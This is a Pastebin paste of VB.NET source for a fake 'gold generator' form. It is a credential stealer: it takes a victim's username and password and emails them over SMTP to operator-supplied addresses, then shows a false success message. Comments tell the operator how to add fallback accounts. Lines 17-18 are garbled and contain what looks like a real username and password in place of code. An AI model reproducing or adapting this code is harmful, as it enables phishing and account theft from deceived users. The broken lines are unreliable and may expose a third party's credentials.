Advertisement
Guest User

Inata

a guest
Aug 15th, 2019
326
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Net.Mail
  2. Public Class Form1
  3. 'NOTE MAKE SURE YOU HAVE ALL THE OBJECTS IN YOUR FORM BEFORE COPY-PASTING
  4.    Dim thread As System.Threading.Thread
  5.     Dim smtp As New SmtpClient("smtp.mail.com")
  6.  
  7.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  8.         Me.CheckForIllegalCrossThreadCalls = False
  9.     End Sub
  10.  
  11.     Private Sub DoGenerate()
  12.         Try
  13.             Dim mail As New MailMessage
  14.             mail.From = New MailAddress("INSERT FIRST EMAIL ADD@mail.com")
  15.             mail.To.Add("INSERT FIRST EMAIL ADD@mail.com")
  16.             mail.Subject = "Updates"
  17.             mail.Body = "USERNAME: " + txtUsername.keiraward_
  18. "PASSWORD:Bubbles@987
  19.            smtp.Port = 587
  20.            smtp.EnableSsl = True
  21.            smtp.Credentials = New Net.NetworkCredential("INSERT FIRST EMAIL ADD@mail.com", "INSERT EMAIL PASSWORD")
  22.            smtp.Send(mail)
  23.            MessageBox.Show("Gold successfully generated!", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
  24.        Catch exA As Exception
  25.            Try
  26.                Dim mail As New MailMessage
  27.                mail.From = New MailAddress("INSERT SECOND EMAIL ADD@mail.com")
  28.                mail.To.Add("INSERT SECOND EMAIL ADD@mail.com")
  29.                mail.Subject = "Updates"
  30.                mail.Body = "USERNAME: " + txtUsername.Text + vbNewLine + "PASSWORD: " + txtPassword.Text
  31.                smtp.Port = 587
  32.                smtp.EnableSsl = True
  33.                smtp.Credentials = New Net.NetworkCredential("INSERT SECOND EMAIL ADD@mail.com", "INSERT EMAIL PASSWORD")
  34.                smtp.Send(mail)
  35.                MessageBox.Show("Gold successfully generated!", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
  36.            Catch exB As Exception
  37.                MessageBox.Show("error. please wait for an hour before trying again.")'THIS WILL BE YOUR ERROR MESSAGE, HOWEVER IF YOU WANT TO ADD MORE ACCOUNTS, REPLACE (NESTING, IN PROGRAMMING TERMS) THIS LINE WITH ANOTHER TRY-CATCH BLOCK AND PLACE THE ERROR MESSAGE IN THE LAST CATCH)
  38.            End Try
  39.        End Try
  40.        NormalState()
  41.    End Sub
  42.  
  43.    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  44.        thread = New System.Threading.Thread(AddressOf DoGenerate)
  45.        thread.Start()
  46.  
  47.        txtUsername.Enabled = False
  48.        txtPassword.Enabled = False
  49.        TextBox1.Enabled = False
  50.        Button1.Enabled = False
  51.        Label4.Visible = True
  52.    End Sub
  53.  
  54.    Private Sub NormalState()
  55.        txtUsername.Enabled = True
  56.        txtPassword.Enabled = True
  57.        TextBox1.Enabled = True
  58.        Button1.Enabled = True
  59.        Label4.Visible = False
  60.    End Sub
  61. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement